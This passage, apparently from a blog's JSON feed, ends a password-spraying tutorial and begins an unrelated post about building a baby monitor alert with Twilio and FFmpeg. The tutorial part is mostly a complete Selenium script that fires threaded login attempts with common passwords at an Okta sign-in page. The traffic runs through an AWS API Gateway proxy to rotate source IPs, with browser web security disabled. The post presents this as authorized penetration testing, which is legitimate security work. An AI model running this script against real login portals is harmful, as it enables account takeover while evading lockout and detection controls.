class=\"hljs-built_in\">click\u003c/span>()\n\u003c/code>\u003c/pre>\n\u003cp>However, using one thread to attempt a login for each username and password would take a long time. We can use a “ThreadPoolExecutor” to spawn multiple threads to attempt logins in parallel.\u003c/p>\n\u003cp>Some targets may block concurrent login attempts regardless of the source IP address. In that case, only one thread should be used.\u003c/p>\n\u003cpre>\u003ccode class=\"language-python\">\u003cspan class=\"hljs-keyword\">from\u003c/span> concurrent.futures \u003cspan class=\"hljs-keyword\">import\u003c/span> ThreadPoolExecutor\n\n\u003cspan class=\"hljs-comment\"># Create a list of username and password combinations to attempt\u003c/span>\n\u003cspan class=\"hljs-keyword\">with\u003c/span> \u003cspan class=\"hljs-built_in\">open\u003c/span>(\u003cspan class=\"hljs-string\">&quot;usernames.txt&quot;\u003c/span>, \u003cspan class=\"hljs-string\">&quot;r&quot;\u003c/span>) \u003cspan class=\"hljs-keyword\">as\u003c/span> f:\n    credentials = [[username.strip(), password] \u003cspan class=\"hljs-keyword\">for\u003c/span> username \u003cspan class=\"hljs-keyword\">in\u003c/span> f \u003cspan class=\"hljs-keyword\">for\u003c/span> password \u003cspan class=\"hljs-keyword\">in\u003c/span> [\u003cspan class=\"hljs-string\">&#x27;Password1!&#x27;\u003c/span>, \u003cspan class=\"hljs-string\">&#x27;Qwertyuiop&#x27;\u003c/span>, \u003cspan class=\"hljs-string\">&#x27;Iloveyou!&#x27;\u003c/span>, \u003cspan class=\"hljs-string\">&#x27;1234567890&#x27;\u003c/span>]]\n\n\u003cspan class=\"hljs-comment\"># Spawn 5 threads to attempt logins in parallel and queue the credentials\u003c/span>\n\u003cspan class=\"hljs-keyword\">with\u003c/span> ThreadPoolExecutor(max_workers=\u003cspan class=\"hljs-number\">5\u003c/span>) \u003cspan class=\"hljs-keyword\">as\u003c/span> executor:\n    results = executor.\u003cspan class=\"hljs-built_in\">map\u003c/span>(login_worker, credentials)\n\u003c/code>\u003c/pre>\n\u003cp>This would require creating a new \u003ccode>login_worker\u003c/code> function that handles the entire process of creating a webdriver, logging in, and closing the webdriver.\u003c/p>\n\u003cpre>\u003ccode class=\"language-scss\">def \u003cspan class=\"hljs-built_in\">login_worker\u003c/span>(credential_pair):\n    username, password = credential_pair\n    test_login = \u003cspan class=\"hljs-built_in\">TestLogin\u003c/span>()\n    test_login.\u003cspan class=\"hljs-built_in\">setup_method\u003c/span>()\n    test_login.\u003cspan class=\"hljs-built_in\">test_login\u003c/span>(username, password)\n    test_login.\u003cspan class=\"hljs-built_in\">teardown_method\u003c/span>()\n\u003c/code>\u003c/pre>\n\u003cp>To save the result, we can parse the HTML after the login attempt is made, which would be different for each target site. A simpler yet less storage-efficient method is to take a screenshot of the webdriver after the login attempt is made.\u003c/p>\n\u003cpre>\u003ccode class=\"language-ruby\">\u003cspan class=\"hljs-keyword\">def\u003c/span> \u003cspan class=\"hljs-title function_\">test_login\u003c/span>(\u003cspan class=\"hljs-params\">\u003cspan class=\"hljs-variable language_\">self\u003c/span>, username, password\u003c/span>):\n    \u003cspan class=\"hljs-variable language_\">self\u003c/span>.driver.get(\u003cspan class=\"hljs-string\">&quot;https://gg9j5bfyxd.execute-api.us-east-1.amazonaws.com/&quot;\u003c/span>)\n    \u003cspan class=\"hljs-variable language_\">self\u003c/span>.driver.set_window_size(\u003cspan class=\"hljs-number\">1200\u003c/span>, \u003cspan class=\"hljs-number\">1021\u003c/span>)\n    \u003cspan class=\"hljs-variable language_\">self\u003c/span>.driver.find_element(\u003cspan class=\"hljs-title class_\">By\u003c/span>.\u003cspan class=\"hljs-variable constant_\">ID\u003c/span>, \u003cspan class=\"hljs-string\">&quot;okta-signin-username&quot;\u003c/span>).send_keys(username)\n    \u003cspan class=\"hljs-variable language_\">self\u003c/span>.driver.find_element(\u003cspan class=\"hljs-title class_\">By\u003c/span>.\u003cspan class=\"hljs-variable constant_\">ID\u003c/span>, \u003cspan class=\"hljs-string\">&quot;okta-signin-password&quot;\u003c/span>).send_keys(password)\n    \u003cspan class=\"hljs-variable language_\">self\u003c/span>.driver.find_element(\u003cspan class=\"hljs-title class_\">By\u003c/span>.\u003cspan class=\"hljs-variable constant_\">ID\u003c/span>, \u003cspan class=\"hljs-string\">&quot;okta-signin-submit&quot;\u003c/span>).click()\n    \u003cspan class=\"hljs-comment\"># Save a screenshot after the login attempt with the username and first two characters of the password as the name\u003c/span>\n    \u003cspan class=\"hljs-variable language_\">self\u003c/span>.driver.save_screenshot(username+\u003cspan class=\"hljs-string\">&quot;_&quot;\u003c/span>+password[\u003cspan class=\"hljs-symbol\">:\u003c/span>\u003cspan class=\"hljs-number\">2\u003c/span>]+\u003cspan class=\"hljs-string\">&quot;.png&quot;\u003c/span>)\n\u003c/code>\u003c/pre>\n\u003cp>One important thing to note is that the driver will execute each action in the script without delay. We need to add delays to the script to ensure form elements are fully loaded and the login attempt result is visible. If an action is attempted on an element that is not yet loaded, the driver will throw an error. Sufficient error handling should be implemented in case the page takes longer to load than usual.\u003c/p>\n\u003cpre>\u003ccode class=\"language-python\">\u003cspan class=\"hljs-keyword\">import\u003c/span> time\n\n\u003cspan class=\"hljs-keyword\">def\u003c/span> \u003cspan class=\"hljs-title function_\">test_login\u003c/span>(\u003cspan class=\"hljs-params\">self, username, password\u003c/span>):\n    \u003cspan class=\"hljs-keyword\">try\u003c/span>:\n        \u003cspan class=\"hljs-variable language_\">self\u003c/span>.driver.get(\u003cspan class=\"hljs-string\">&quot;https://gg9j5bfyxd.execute-api.us-east-1.amazonaws.com/&quot;\u003c/span>)\n        time.sleep(\u003cspan class=\"hljs-number\">3\u003c/span>) \u003cspan class=\"hljs-comment\"># Let the page load before interacting with it\u003c/span>\n        \u003cspan class=\"hljs-variable language_\">self\u003c/span>.driver.set_window_size(\u003cspan class=\"hljs-number\">1200\u003c/span>, \u003cspan class=\"hljs-number\">1021\u003c/span>)\n        \u003cspan class=\"hljs-variable language_\">self\u003c/span>.driver.find_element(By.ID, \u003cspan class=\"hljs-string\">&quot;okta-signin-username&quot;\u003c/span>).send_keys(username)\n        \u003cspan class=\"hljs-variable language_\">self\u003c/span>.driver.find_element(By.ID, \u003cspan class=\"hljs-string\">&quot;okta-signin-password&quot;\u003c/span>).send_keys(password)\n        \u003cspan class=\"hljs-variable language_\">self\u003c/span>.driver.find_element(By.ID, \u003cspan class=\"hljs-string\">&quot;okta-signin-submit&quot;\u003c/span>).click()\n        time.sleep(\u003cspan class=\"hljs-number\">3\u003c/span>) \u003cspan class=\"hljs-comment\"># Let the login request finish before taking a screenshot\u003c/span>\n        \u003cspan class=\"hljs-variable language_\">self\u003c/span>.driver.save_screenshot(\u003cspan class=\"hljs-string\">&quot;output/&quot;\u003c/span>+username+\u003cspan class=\"hljs-string\">&quot;_&quot;\u003c/span>+password[:\u003cspan class=\"hljs-number\">2\u003c/span>]+\u003cspan class=\"hljs-string\">&quot;.png&quot;\u003c/span>) \n    \u003cspan class=\"hljs-keyword\">except\u003c/span> Exception \u003cspan class=\"hljs-keyword\">as\u003c/span> e:\n        \u003cspan class=\"hljs-built_in\">print\u003c/span>(\u003cspan class=\"hljs-string\">&quot;Login failed for &quot;\u003c/span>+username+\u003cspan class=\"hljs-string\">&quot;:&quot;\u003c/span>+password+\u003cspan class=\"hljs-string\">&quot; - &quot;\u003c/span>+\u003cspan class=\"hljs-built_in\">str\u003c/span>(e))\n\u003c/code>\u003c/pre>\n\u003cp>Finally, we can add options to the Chrome driver to disable web security to bypass CORS protections, use Burp Suite as a proxy, and run in headless mode to prevent a bunch of browser windows from appearing on the screen.\u003c/p>\n\u003cpre>\u003ccode class=\"language-scss\">def \u003cspan class=\"hljs-built_in\">setup_method\u003c/span>(self):\n    self.driver = webdriver.\u003cspan class=\"hljs-built_in\">Chrome\u003c/span>()\n    options = webdriver.\u003cspan class=\"hljs-built_in\">ChromeOptions\u003c/span>()\n    options.\u003cspan class=\"hljs-built_in\">add_argument\u003c/span>(\u003cspan class=\"hljs-string\">&#x27;--proxy-server=http://localhost:8080&#x27;\u003c/span>)\n    options.\u003cspan class=\"hljs-built_in\">add_argument\u003c/span>(\u003cspan class=\"hljs-string\">&#x27;--disable-web-security&#x27;\u003c/span>)\n    options.\u003cspan class=\"hljs-built_in\">add_argument\u003c/span>(\u003cspan class=\"hljs-string\">&#x27;--headless&#x27;\u003c/span>)\n    self.driver = webdriver.\u003cspan class=\"hljs-built_in\">Chrome\u003c/span>(options=options)\n\u003c/code>\u003c/pre>\n\u003cp>The final script looks like this:\u003c/p>\n\u003cpre>\u003ccode class=\"language-css\">import \u003cspan class=\"hljs-selector-tag\">time\u003c/span>\n\u003cspan class=\"hljs-selector-tag\">from\u003c/span> selenium import webdriver\n\u003cspan class=\"hljs-selector-tag\">from\u003c/span> selenium\u003cspan class=\"hljs-selector-class\">.webdriver\u003c/span>\u003cspan class=\"hljs-selector-class\">.common\u003c/span>\u003cspan class=\"hljs-selector-class\">.by\u003c/span> import By\n\u003cspan class=\"hljs-selector-tag\">from\u003c/span> concurrent\u003cspan class=\"hljs-selector-class\">.futures\u003c/span> import ThreadPoolExecutor\n\nclass TestLogin():\n    def \u003cspan class=\"hljs-built_in\">setup_method\u003c/span>(self):\n        self.driver = webdriver.\u003cspan class=\"hljs-built_in\">Chrome\u003c/span>()\n        options = webdriver.\u003cspan class=\"hljs-built_in\">ChromeOptions\u003c/span>()\n        options.\u003cspan class=\"hljs-built_in\">add_argument\u003c/span>(\u003cspan class=\"hljs-string\">&#x27;--proxy-server=http://localhost:8080&#x27;\u003c/span>)\n        options.\u003cspan class=\"hljs-built_in\">add_argument\u003c/span>(\u003cspan class=\"hljs-string\">&#x27;--disable-web-security&#x27;\u003c/span>)\n        options.\u003cspan class=\"hljs-built_in\">add_argument\u003c/span>(\u003cspan class=\"hljs-string\">&#x27;--headless&#x27;\u003c/span>)\n        self.driver = webdriver.\u003cspan class=\"hljs-built_in\">Chrome\u003c/span>(options=options)\n  \n    def \u003cspan class=\"hljs-built_in\">teardown_method\u003c/span>(self):\n        self.driver.\u003cspan class=\"hljs-built_in\">quit\u003c/span>()\n    \n    def \u003cspan class=\"hljs-built_in\">test_login\u003c/span>(self, username, password):\n        try:\n            self.driver.\u003cspan class=\"hljs-built_in\">get\u003c/span>(\u003cspan class=\"hljs-string\">&quot;https://gg9j5bfyxd.execute-api.us-east-1.amazonaws.com/&quot;\u003c/span>)\n            time.\u003cspan class=\"hljs-built_in\">sleep\u003c/span>(\u003cspan class=\"hljs-number\">3\u003c/span>) \n            self.driver.\u003cspan class=\"hljs-built_in\">set_window_size\u003c/span>(\u003cspan class=\"hljs-number\">1200\u003c/span>, \u003cspan class=\"hljs-number\">1021\u003c/span>)\n            self.driver.\u003cspan class=\"hljs-built_in\">find_element\u003c/span>(By.ID, \u003cspan class=\"hljs-string\">&quot;okta-signin-username&quot;\u003c/span>).\u003cspan class=\"hljs-built_in\">send_keys\u003c/span>(username)\n            self.driver.\u003cspan class=\"hljs-built_in\">find_element\u003c/span>(By.ID, \u003cspan class=\"hljs-string\">&quot;okta-signin-password&quot;\u003c/span>).\u003cspan class=\"hljs-built_in\">send_keys\u003c/span>(password)\n            self.driver.\u003cspan class=\"hljs-built_in\">find_element\u003c/span>(By.ID, \u003cspan class=\"hljs-string\">&quot;okta-signin-submit&quot;\u003c/span>).\u003cspan class=\"hljs-built_in\">click\u003c/span>()\n            time.\u003cspan class=\"hljs-built_in\">sleep\u003c/span>(\u003cspan class=\"hljs-number\">3\u003c/span>) \n            self.driver.\u003cspan class=\"hljs-built_in\">save_screenshot\u003c/span>(\u003cspan class=\"hljs-string\">&quot;output/&quot;\u003c/span>+username+\u003cspan class=\"hljs-string\">&quot;_&quot;\u003c/span>+password[:\u003cspan class=\"hljs-number\">2\u003c/span>]+\u003cspan class=\"hljs-string\">&quot;.png&quot;\u003c/span>)\n        except Exception as e:\n            \u003cspan class=\"hljs-built_in\">print\u003c/span>(\u003cspan class=\"hljs-string\">&quot;Login failed for &quot;\u003c/span>+username+\u003cspan class=\"hljs-string\">&quot;:&quot;\u003c/span>+password+\u003cspan class=\"hljs-string\">&quot; - &quot;\u003c/span>+\u003cspan class=\"hljs-built_in\">str\u003c/span>(e))\n  \ndef \u003cspan class=\"hljs-built_in\">login_worker\u003c/span>(credentials):\n    username, password = credentials\n    driver = \u003cspan class=\"hljs-built_in\">TestLogin\u003c/span>()\n    driver.\u003cspan class=\"hljs-built_in\">setup_method\u003c/span>()\n    driver.\u003cspan class=\"hljs-built_in\">test_login\u003c/span>(username, password)\n    driver.\u003cspan class=\"hljs-built_in\">teardown_method\u003c/span>()\n\nif __name__ == \u003cspan class=\"hljs-string\">&quot;__main__&quot;\u003c/span>:\n    with \u003cspan class=\"hljs-built_in\">open\u003c/span>(\u003cspan class=\"hljs-string\">&quot;usernames.txt&quot;\u003c/span>, \u003cspan class=\"hljs-string\">&quot;r&quot;\u003c/span>) as f:\n        credentials = [[username.\u003cspan class=\"hljs-built_in\">strip\u003c/span>(), password] for username in f \n            for password in [\u003cspan class=\"hljs-string\">&#x27;Password1!&#x27;\u003c/span>, \u003cspan class=\"hljs-string\">&#x27;Qwertyuiop&#x27;\u003c/span>, \u003cspan class=\"hljs-string\">&#x27;Iloveyou!&#x27;\u003c/span>, \u003cspan class=\"hljs-string\">&#x27;1234567890&#x27;\u003c/span>]]\n    \n    with \u003cspan class=\"hljs-built_in\">ThreadPoolExecutor\u003c/span>(max_workers=\u003cspan class=\"hljs-number\">5\u003c/span>) as executor:\n        results = executor.\u003cspan class=\"hljs-built_in\">map\u003c/span>(login_worker, credentials)\n\u003c/code>\u003c/pre>\n\u003ch2 id=\"conclusion\">Conclusion\u003c/h2>\n\u003cp>To summarize, we created a proxy for the target site using AWS API Gateway and Fireprox. We then created match and replace rules in Burp Suite to ensure all requests were forwarded to the correct location on the target site. Finally, we created a Python script that uses Selenium to automate login attempts and save screenshots of the login results.\u003c/p>\n\u003cp>This methodology can be used as a guideline to perform password spraying attacks. Every site is different, so the exact implementation of each step will vary and require sufficient testing. Thanks for reading, I hope you found this useful or learned something new!\u003c/p>\n\u003cp>\u003cem>Thank you\u003c/em> \u003ca href=\"https://tldrsec.com/p/tldr-sec-261\">\u003cem>\u003cstrong>TLDRsec\u003c/strong>\u003c/em>\u003c/a> \u003cem>for featuring this blog post!\u003c/em>\u003c/p>\n","summary":"How to quickly set up a stealthy and effective password spraying attack on authorized targets.","image":"https://benkofman.com/password-spraying/cover.jpeg","date_published":"2024-12-23T12:00:00Z"},{"id":"https://benkofman.com/baby-monitor.html","url":"https://benkofman.com/baby-monitor.html","title":"Building a Custom Baby Monitor for Fun and Sleep","content_html":"\u003ch2 id=\"background\">Background\u003c/h2>\n\u003cp>My wife and I were in the market for a new baby monitor. We were looking for something that had a delay wake feature, where the monitor turns on after measuring an average noise level within a period, for example, 60 seconds. The monitor we used for our daughter’s first year was a \u003ca href=\"https://www.amazon.com/Monitor-5Display-Pan-Tilt-Zoom-Temperature-Lullabies/dp/B09GM8JZM9\">\u003cstrong>HelloBaby\u003c/strong>\u003c/a> — a non-wifi, radio-frequency paired camera and 5-inch tablet. The HelloBaby has a VOX (Voice Activated Alert) feature which turns on the screen and volume when it detects noise over a certain level. However, there are only three levels to choose from, and the monitor turns on instantly and does not support delays.\u003c/p>\n\u003cfigure style=\"--figure-width:1200px\">\u003cpicture>\u003csource type=\"image/webp\" srcset=\"https://benkofman.com/baby-monitor/image-01-720w.webp 720w, https://benkofman.com/baby-monitor/image-01-1440w.webp 1440w\" sizes=\"(max-width: 800px) calc(100vw - 40px), 760px\">\u003cimg src=\"https://benkofman.com/baby-monitor/image-01.jpg\" alt=\"HelloBaby VOX sensitivity options and corresponding sadness level\" width=\"1600\" height=\"956\" loading=\"lazy\" decoding=\"async\">\u003c/picture>\u003cfigcaption>HelloBaby VOX sensitivity options and corresponding sadness level\u003c/figcaption>\u003c/figure>\n\n\u003cp>There are a few reasons why a delay alert would be a useful feature in a baby monitor:\u003c/p>\n\u003cul>\n\u003cli>\u003cstrong>Chirps/screeches\u003c/strong>: Some babies are noisy sleepers and occasionally let out a single cry then go back to sleep. If you struggle to fall back to sleep after being woken up, these random battle cries can interrupt what would have been a quality night of sleep.\u003c/li>\n\u003cli>\u003cstrong>Babies get bigger\u003c/strong>: The HelloBaby VOX levels used to work well when our daughter was a newborn. Level three would only activate if she cried loudly, so we usually set it at level two. However, as she grew, her voice also got louder. So the monitor activates even if she makes virtually any sound, happy or sad, even at level three.\u003c/li>\n\u003cli>\u003cstrong>Sleep training\u003c/strong>: Eventually, babies may need to be sleep-trained, which involves letting them cry for about 10 minutes before soothing them again, teaching them to eventually fall asleep on their own. A delay alert feature with a cooldown timer would allow parents to sleep train without listening to their baby crying all night, and maybe even catch a few Zs between soothings.\u003c/li>\n\u003c/ul>\n\u003cp>We tried to find a monitor with this feature but couldn’t find anything online. My guess for this reason is that manufacturers don’t want to be liable for a misconfigured delay, resulting in parents not being woken up. So the only option is to use a monitor that turns on right away or not to use one at all. After using the HelloBaby for a year, we understood our daughter’s sleeping habits — and believed a delay alert monitor would be helpful. So, we took things into our own hands and built one ourselves.\u003c/p>\n\u003cp>\u003cstrong>Disclaimer\u003c/strong>: If you are a new parent, do not build your own baby monitor or use one you found on a random blog. If you will use a monitor, buy one from a reputable manufacturer with solid reviews and no recalls (and preferably non-wifi for optimal privacy). Once you understand your child’s sleeping habits you can carefully experiment with different monitoring strategies to improve your family’s sleep quality.\u003c/p>\n\u003ch2 id=\"exploring-the-options\">Exploring the options\u003c/h2>\n\u003cp>Initially, I wanted to build the entire monitor from semi-scratch, assembling the major parts such as the microcontroller, camera, and microphone in a single unit. The video and audio feed could ideally be accessed via a website, with a page to modify the delay wake settings and control the camera via PTZ (pan, tilt, zoom). After some research, I bought a separate IP camera that supports the Real-time Streaming Protocol (RTSP) to access from a Raspberry Pi. This would be a lot simpler to implement, be less time-consuming, and serve the main purpose of the project.\u003c/p>\n\u003cp>Ideally, I wanted to use one application to control all aspects of the monitor (delay alert, video/audio monitoring, and PTZ). The simplest option for this was to create a web app that could be accessed via a mobile browser, which serves the RTSP feed from the camera and could control the camera using the \u003ca href=\"https://www.onvif.org/\">\u003cstrong>ONVIF\u003c/strong>\u003c/a> standard. I looked into existing web-based, open-source security monitoring software like \u003ca href=\"https://shinobi.video/\">\u003cstrong>Shinobi\u003c/strong>\u003c/a>, which has already implemented converting the RTSP feed into browser-compatible video formats like MPEG and streaming via web socket connections. However, even after reducing the image quality, the video feed latency was over five seconds since the site was not directly connected to the camera, and the conversion process running on the Raspberry Pi added to the delay.\u003c/p>\n\u003cp>I settled on using an IP camera that included an RTSP server available to the local network to access the audio data and building a separate website for managing the delay alert settings running on a Raspberry Pi. The camera I settled on was the \u003ca href=\"https://www.amazon.com/gp/product/B0DC26YJV3/\">\u003cstrong>Tapo C201\u003c/strong>\u003c/a>, which is marketed as a standalone baby and pet monitor. The camera is made by TP-Link, a company with a mixed reputation that just this year \u003ca href=\"https://www.businesswire.com/news/home/20241009647337/en/TP-Link-Systems-Inc.-Establishes-Global-Headquarters-in-the-United-States-to-Drive-Innovation-and-Strengthen-Global-Competitiveness\">\u003cstrong>relocated its global headquarters to the United States and Singapore from China\u003c/strong>\u003c/a>. From my basic investigation, TP-Link, like many other home automation companies, has had security issues in the past. However, their products are also of decent quality and generally respected. Regardless, I blocked the camera’s outbound internet access on my router’s firewall so paranoia about spying and backdoors wouldn’t be an issue. After configuring the camera’s RTSP credentials and connecting it to the Tapo mobile app, I could access the camera video feed and control its movement from my phone via the LAN. If I tried to view the camera off WiFi I wouldn’t be able to since the camera can’t call back to Tapo servers.\u003c/p>\n\u003cfigure style=\"--figure-width:957px\">\u003cpicture>\u003csource type=\"image/webp\" srcset=\"https://benkofman.com/baby-monitor/image-02-720w.webp 720w, https://benkofman.com/baby-monitor/image-02-957w.webp 957w\" sizes=\"(max-width: 800px) calc(100vw - 40px), 760px\">\u003cimg src=\"https://benkofman.com/baby-monitor/image-02.png\" alt=\"Packet filter rules blocking outbound IPv4 (local network is not included) and all IPv6\" width=\"957\" height=\"580\" loading=\"lazy\" decoding=\"async\">\u003c/picture>\u003cfigcaption>Packet filter rules blocking outbound IPv4 (local network is not included) and all IPv6\u003c/figcaption>\u003c/figure>\n\u003cfigure style=\"--figure-width:750px\">\u003cpicture>\u003csource type=\"image/webp\" srcset=\"https://benkofman.com/baby-monitor/image-03-720w.webp 720w, https://benkofman.com/baby-monitor/image-03-750w.webp 750w\" sizes=\"(max-width: 800px) calc(100vw - 40px), 760px\">\u003cimg src=\"https://benkofman.com/baby-monitor/image-03.jpg\" alt=\"Tapo app PTZ interface featuring a lamp\" width=\"750\" height=\"1118\" loading=\"lazy\" decoding=\"async\">\u003c/picture>\u003cfigcaption>Tapo app PTZ interface featuring a lamp\u003c/figcaption>\u003c/figure>\n\n\u003ch2 id=\"setting-up-the-alert-system\">Setting up the alert system\u003c/h2>\n\u003cp>Since the delay alert settings and camera feed would be accessed using our phones, it made sense to also be alerted on our phones. The simplest option for this was to receive a phone call when the average volume threshold was exceeded. Twilio is a cheap and popular VoIP provider, so I created an account and rented a phone number which costs $1.15 per month in addition to $0.004 per call. After setting up the Twilio account it is simple to make calls using their Python SDK.\u003c/p>\n\u003cpre>\u003ccode class=\"language-python\">\u003cspan class=\"hljs-keyword\">from\u003c/span> twilio.rest \u003cspan class=\"hljs-keyword\">import\u003c/span> Client\n\ntwilio_client = Client(\n    TWILIO_SID,\n    TWILIO_AUTH_TOKEN\n)\ncall = twilio_client.calls.create(\n    url=\u003cspan class=\"hljs-string\">&#x27;http://demo.twilio.com/docs/voice.xml&#x27;\u003c/span>, \u003cspan class=\"hljs-comment\"># Default Twilio call script\u003c/span>\n    to=\u003cspan class=\"hljs-string\">&quot;+&quot;\u003c/span>+MY_PHONE_NUMBER,\n    from_=\u003cspan class=\"hljs-string\">&quot;+&quot;\u003c/span>+TWILIO_PHONE_NUMBER\n)\n\u003c/code>\u003c/pre>\n\u003cp>Ironically, Twilio’s demo script plays \u003ca href=\"https://tinyurl.com/mu5yx2dx\">\u003cstrong>one of my favorite songs\u003c/strong>\u003c/a> when you answer the call. I saved the number in my phone’s contact list and allowed it in my Do Not Disturb settings so I could be alerted at night when the threshold was exceeded.\u003c/p>\n\u003cfigure style=\"--figure-width:750px\">\u003cpicture>\u003csource type=\"image/webp\" srcset=\"https://benkofman.com/baby-monitor/image-04-720w.webp 720w, https://benkofman.com/baby-monitor/image-04-750w.webp 750w\" sizes=\"(max-width: 800px) calc(100vw - 40px), 760px\">\u003cimg src=\"https://benkofman.com/baby-monitor/image-04.png\" alt=\"Duty calls\" width=\"750\" height=\"1624\" loading=\"lazy\" decoding=\"async\">\u003c/picture>\u003cfigcaption>Duty calls\u003c/figcaption>\u003c/figure>\n\n\u003cp>The go-to utility for analyzing raw audio data from RTSP streams is \u003ca href=\"https://github.com/FFmpeg/FFmpeg\">\u003cstrong>FFmpeg\u003c/strong>\u003c/a>. The following script starts an FFmpeg process that samples the camera’s RTSP stream at 44,100 hertz, converting it into PCM (Pulse-code Modulation) values. The values are then measured twice per second, resulting in arrays of 22,050 values, which can be analyzed to determine the sound level each half second. The first ten values of each array are printed.\u003c/p>\n\u003cpre>\u003ccode class=\"language-python\">\u003cspan class=\"hljs-keyword\">import\u003c/span> subprocess\n\u003cspan class=\"hljs-keyword\">import\u003c/span> numpy \u003cspan class=\"hljs-keyword\">as\u003c/span> np\n\ncmd = [\n    \u003cspan class=\"hljs-string\">&#x27;ffmpeg&#x27;\u003c/span>,\n    \u003cspan class=\"hljs-string\">&#x27;-i&#x27;\u003c/span>, \u003cspan class=\"hljs-string\">&quot;rtsp://username:password@[CAMERA_IP]:554/stream&quot;\u003c/span>,\n    \u003cspan class=\"hljs-string\">&#x27;-acodec&#x27;\u003c/span>,\u003cspan class=\"hljs-string\">&#x27;pcm_s16le&#x27;\u003c/span>,\u003cspan class=\"hljs-string\">&#x27;-ar&#x27;\u003c/span>,\u003cspan class=\"hljs-string\">&#x27;44100&#x27;\u003c/span>,\u003cspan class=\"hljs-string\">&#x27;-ac&#x27;\u003c/span>,\u003cspan class=\"hljs-string\">&#x27;1&#x27;\u003c/span>, \u003cspan class=\"hljs-string\">&#x27;-f&#x27;\u003c/span>, \u003cspan class=\"hljs-string\">&#x27;wav&#x27;\u003c/span>,\u003cspan class=\"hljs-string\">&#x27;-&#x27;\u003c/span>\n]\nprocess = subprocess.Popen(\n    cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE\n)\nsample_rate = \u003cspan class=\"hljs-number\">44100\u003c/span> \u003cspan class=\"hljs-comment\"># hz\u003c/span>\nmeasure_rate = \u003cspan class=\"hljs-number\">2\u003c/span> \u003cspan class=\"hljs-comment\"># hz\u003c/span>\nchunk_size = \u003cspan class=\"hljs-built_in\">int\u003c/span>(sample_rate / measure_rate) \nprocess.stdout.read(\u003cspan class=\"hljs-number\">44\u003c/span>) \u003cspan class=\"hljs-comment\"># skip wav data header\u003c/span>\n\u003cspan class=\"hljs-keyword\">while\u003c/span> \u003cspan class=\"hljs-literal\">True\u003c/span>:\n    raw_data = process.stdout.read(chunk_size  * \u003cspan class=\"hljs-number\">2\u003c/span>) \u003cspan class=\"hljs-comment\"># 16-bit: 2 bytes per sample\u003c/span>\n    audio_chunk = np.frombuffer(raw_data, dtype=np.int16)\n    \u003cspan class=\"hljs-built_in\">print\u003c/span>(\u003cspan class=\"hljs-string\">f&quot;\u003cspan class=\"hljs-subst\">{audio_chunk[:\u003cspan class=\"hljs-number\">10\u003c/span>]}\u003c/span>&quot;\u003c/span>)\n\u003c/code>\u003c/pre>\n\u003cp>Sample output from running the script for about 15 seconds is shown below:\u003c/p>\n\u003cpre>\u003ccode class=\"language-text\">[8 8 8 8 8 8 8 8 8 8]\n[8 8 8 8 8 8 8 8 8 8]\n[8 8 8 8 8 8 8 8 8 8]\n[ 21  18  14  10   5  -2  -9 -18 -29 -41]\n[ -72  -71  -70  -71  -75  -83  -95 -112 -132 -154]\n[-3151 -2398 -1713 -1140  -710  -440  -330  -367  -517  -738]\n[ -66 -178 -279 -364 -425 -460 -466 -446 -401 -339]\n[-12509 -11701 -10791  -9852  -8947  -8122  -7399  -6777  -6233  -5722]\n[-103 -134 -144 -132  -98  -47   14   76  131  170]\n[8 8 8 8 8 8 8 8 8 8]\n[8 8 8 8 8 8 8 8 8 8]\n[8 8 8 8 8 8 8 8 8 8]\n[8 8 8 8 8 8 8 8 8 8]\n[8 8 8 8 8 8 8 8 8 8]\n[8 8 8 8 8 8 8 8 8 8]\n[8 8 8 8 8 8 8 8 8 8]\n[8 8 8 8 8 8 8 8 8 8]\n[8 8 8 8 8 8 8 8 8 8]\n[8 8 8 8 8 8 8 8 8 8]\n[18 15 11  9  7  7  8  9  9  8]\n[2061 1977 1904 1844 1800 1771 1751 1736 1719 1694]\n[ 576  464  345  221   92  -40 -174 -308 -440 -570]\n[-1908 -2015 -2082 -2111 -2104 -2067 -2010 -1942 -1875 -1821]\n[-245 -175 -109  -65  -56  -94 -176 -295 -434 -570]\n[-2421 -2222 -1996 -1743 -1470 -1187  -908  -645  -412  -219]\n[ 538 1540 2423 3147 3683 4013 4138 4071 3842 3490]\n[ -9213 -10420 -10906 -10733 -10020  -8922  -7598  -6194  -4822  -3558]\n[3924 3343 2709 2074 1488  992  612  361  236  218]\n[ 46  37  26  14   0 -15 -29 -42 -51 -56]\n[8 8 8 8 8 8 8 8 8 8]\n[8 8 8 8 8 8 8 8 8 8]\n[8 8 8 8 8 8 8 8 8 8]\n[8 8 8 8 8 8 8 8 8 8]\n[8 8 8 8 8 8 8 8 8 8]\n[8 8 8 8 8 8 8 8 8 8]\n\u003c/code>\u003c/pre>\n\u003cp>The beginning, middle, and end of the output represent relative silence. The two chunks of variable data arrays represent short noises made near the microphone. Each value represents the direction and magnitude of the sound waveform around the microphone. Positive values indicate positive air pressure (moving inward) and negative values represent negative air pressure (traveling outward).\u003c/p>\n\u003cp>In the final version of the monitor, an FFmpreg process is spawned using \u003ccode>subprocess\u003c/code>, and its output is sent to a named pipe which is accessed by Python. For some reason that I was not able to figure out, whenever the standard output was retrieved directly, the FFmpeg process froze exactly six minutes after being launched. This occurred if I used the \u003ccode>ffmpeg\u003c/code> Python library or read the output from a subprocess. The FFmpeg process itself was still alive, and when I launched FFmpeg manually from the command line, it didn’t stop after six minutes, so there was no issue with the RTSP stream from the camera. Reading the audio data from a FIFO file was the solution to prevent the process from freezing, although I’m still unsure why retrieving the output from the subprocess directly was an issue, and why it froze exactly at six minutes every time. The below code snippet demonstrates implementing FFmpeg using standard file IO:\u003c/p>\n\u003cpre>\u003ccode class=\"language-python\">\u003cspan class=\"hljs-keyword\">import\u003c/span> subprocess\n\u003cspan class=\"hljs-keyword\">import\u003c/span> numpy \u003cspan class=\"hljs-keyword\">as\u003c/span> np\n\ncmd = \u003cspan class=\"hljs-string\">f&quot;&quot;&quot;\n    ffmpeg -i \u003cspan class=\"hljs-subst\">{rtsp_url}\u003c/span> -f wav \\\n    -acodec pcm_s16le -ac 1 -ar 44100 -y \\\n    /tmp/audio_monitor_fifo &gt; /dev/null 2&gt;&amp;1 &amp;\n&quot;&quot;&quot;\u003c/span>\nsubprocess.Popen(cmd, shell=\u003cspan class=\"hljs-literal\">True\u003c/span>)\n\u003cspan class=\"hljs-keyword\">with\u003c/span> \u003cspan class=\"hljs-built_in\">open\u003c/span>(\u003cspan class=\"hljs-string\">&#x27;/tmp/audio_monitor_fifo&#x27;\u003c/span>, \u003cspan class=\"hljs-string\">&#x27;rb&#x27;\u003c/span>) \u003cspan class=\"hljs-keyword\">as\u003c/span> fifo:\n  